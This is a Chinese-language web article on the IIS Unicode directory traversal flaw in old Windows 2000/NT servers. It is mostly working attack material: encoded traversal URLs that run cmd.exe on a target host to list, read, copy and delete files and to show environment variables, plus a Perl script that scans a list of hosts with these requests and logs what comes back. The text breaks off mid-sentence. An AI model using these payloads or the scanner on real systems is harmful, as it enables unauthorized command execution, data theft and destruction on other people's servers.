您现在的位置: 万盛学电脑网 >> 电脑基础 >> 应用技巧 >> 正文

UNICODE漏洞的原理

作者:佚名    责任编辑:admin    更新时间:2022-06-22

一、UNICODE漏洞的原理 
此漏洞从中文IIS4.0+SP6开始,还影响中文WIN2000+IIS5.0、中文WIN2000+IIS5.0+SP1, 
台湾繁体中文也同样存在这样的漏洞。 
中文版的WIN2000中,UNICODE编码 存在BUG,在UNICODE 编码中 
%c1%1c -〉 (0xc1 - 0xc0) * 0x40 + 0x1c = 0x5c = ‘/‘ 
%c0%2f -〉 (0xc0 - 0xc0) * 0x40 + 0x2f = 0x2f = ‘\‘ 
在NT4中/编码为%c1%9c 
在英文版里: 
WIN2000英文版%c0%af 
但从国外某些站点得来的资料显示,还有以下的编码可以实现对该漏洞的检测,具体情况本人未做详细的证实: 
%c1%pc 
%c0%9v 
%c0%qf 
%c1%8s 
%e0%80%af 
%f0%80%80%af 
%fc%80%80%80%80%af 
或许是什么日文版、韩文版之类,win2000 Terminal版有兴趣的朋友可以试试。 
二、UNICODE漏洞的检测 
以下均以中文版WIN2K为例,如果是其他NT版本,按上面所述的编码替换以下代码中的%c1%1c 
最简单的检测方法: 
比如说有一IP地址为X.X.X.X的WIN2K主机,我们可以在地址栏输入 
x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 
如果存在此漏洞的话,我们便可以看到以下的内容:(例子假设SCRIPTS目录里无文件) 
Directory of C:\inetpub\scripts 
2000-09-28 15:49 〈DIR〉 . 
2000-09-28 15:49 〈DIR〉 .. 

这是我们在很多经验交谈中常看到大家使用的方法,实际上我们也可以改为这样 
127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/r+dir 
即r=c 这个字母的取代,在本文发表之前,网络里没有介绍过,关于r这字母可以等效于c,我们可以通过cmd/?可以得到解释。 

当然,如果目标主机的管理员把该目录删除掉,我们就无法看到了,但是还有以下的目录是同样可以用来测试的。 

http://x.x.x.x/msadc/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir 
运行后,我们可以看到 
Directory of c:\program files\common files\system\msadc 
2000-08-06 19:16 

2000-08-06 19:16 
.. 
(以下内容略) 
19 File(s) 1,233,840 bytes 
2 Dir(s) 6,290,644,992 bytes free 

如果漏洞和目录同时存在的话,你就可以在WEB页上看到相对应的目录里的一切内容。这仅是对单一目标主机的漏洞检测,如果想对某一IP段上的NT主机做UNICODE漏洞的检测,我们就需要使用类似以下的扫描软件。 
以下的源码是外国黑客写的,当然就只扫描英文版的NT,要扫描中文版的,需要做相应的修改。 
#!/usr/bin/perl 
#Root Shell Hackers 
#piffy 
#this is a quick scanner i threw together while 
supposedly doing homework in my room. 
#it will go through a list of sites and check if it 
gives a directory listing for the new IIS hole 
#it checks for both %c0%af and %c1%9c 
#perhaps a public script to do some evil stuff with this 
exploit later... h0h0h0 
#werd: all of rsh, 0x7f, hackweiser, rain forest puppy 
for researching the hole =] 
use strict; 
use LWP::UserAgent; 
use HTTP::Request; 
use HTTP::Response; 
my $def = new LWP::UserAgent; 
my @host; 
print "root shell hackers\n"; 
print "iis cmd hole scanner\n"; 
print "coded by piffy\n"; 
print "\nWhat file contains the hosts: "; 
chop (my $hosts=); 
open(IN, $hosts) ││ die "\nCould not open $hosts: $!"; 
while () 

$host[$a] = $_; 
chomp $host[$a]; 
$a++; 
$b++; 

close(IN); 
$a = 0; 
print "ph34r, scan started"; 
while ($a < $b) 

my 
$url="http://$host[$a]/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\ 
"; 
my $request = new HTTP::Request(‘GET‘, $url); 
my $response = $def->request($request); 
if ($response->is_success) { 
print $response->content; 
open(OUT, ">>scaniis.log"); 
print OUT "\n$host[$a] : $response->content"; 
-close OUT; 
} else { 
print $response->error_as_HTML; 

&second() 


sub second() { 
my 
$url2="http://$host[$a]/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\ 
"; 
my $request = new HTTP::Request(‘GET‘, $url2); 
my $response = $def->request($request); 
if ($response->is_success) { 
print $response->content; 
open(OUT, ">>scaniis.log"); 
print OUT "\n$host[$a] : $response->content"; 
-close OUT; 
} else { 
print $response->error_as_HTML; 

$a++; 



—————————————————————————————————— 
以上的pl程序你可以在本机运行(当然需要安装PERL),也可以在远程的 
服务器上运行。 

三、UNICODE编码漏洞简单利用的命令 
一般情况下我们用 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir 

看到的目录是空的:(例如) 
Directory of C:\inetpub\scripts 
2000-09-28 15:49 〈DIR〉 . 
2000-09-28 15:49 〈DIR〉 .. 
如果我们这样输入的话: 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\ 

就可以看到该主机c:盘的目录和文件了。 
其他的一些简单的用法: 
1、显示文件内容 
如果想显示里面的其中一个badboy.txt文本文件,我们可以这样输入(htm,html,asp,bat等文件都是一样的) 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+type+c:\badboy.txt 

那么该文件的内容就可以通过IE显示出来。 
2、建立文件夹的命令 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+md+c:\badboy 

运行后我们可以看到返回这样的结果: 
CGI Error 
The specified CGI application misbehaved by not 
returning a complete 
set of HTTP headers. The headers it did return are: 
英文意思是 
CGI错误 
具体的CGI申请有误,不能返回完整的HTTP标题,返回的标题为: 
3、删除空的文件夹命令: 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+rd+c:\badboy 

返回信息同上 
4、删除文件的命令: 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+del+c:\badboy.txt 

返回信息同上 
5、copy文件且改名的命令: 

http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+c:\badboy.txt 
bad.txt 
返回信息: 
CGI Error 
The specified CGI application misbehaved by not 
returning a complete 
set of HTTP headers. The headers it did return are: 
1 file(s) copied. 
6、显示目标主机当前的环境变量 

http://127.0.0.1/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+set 

返回的信息: 
CGI Error 
The specified&n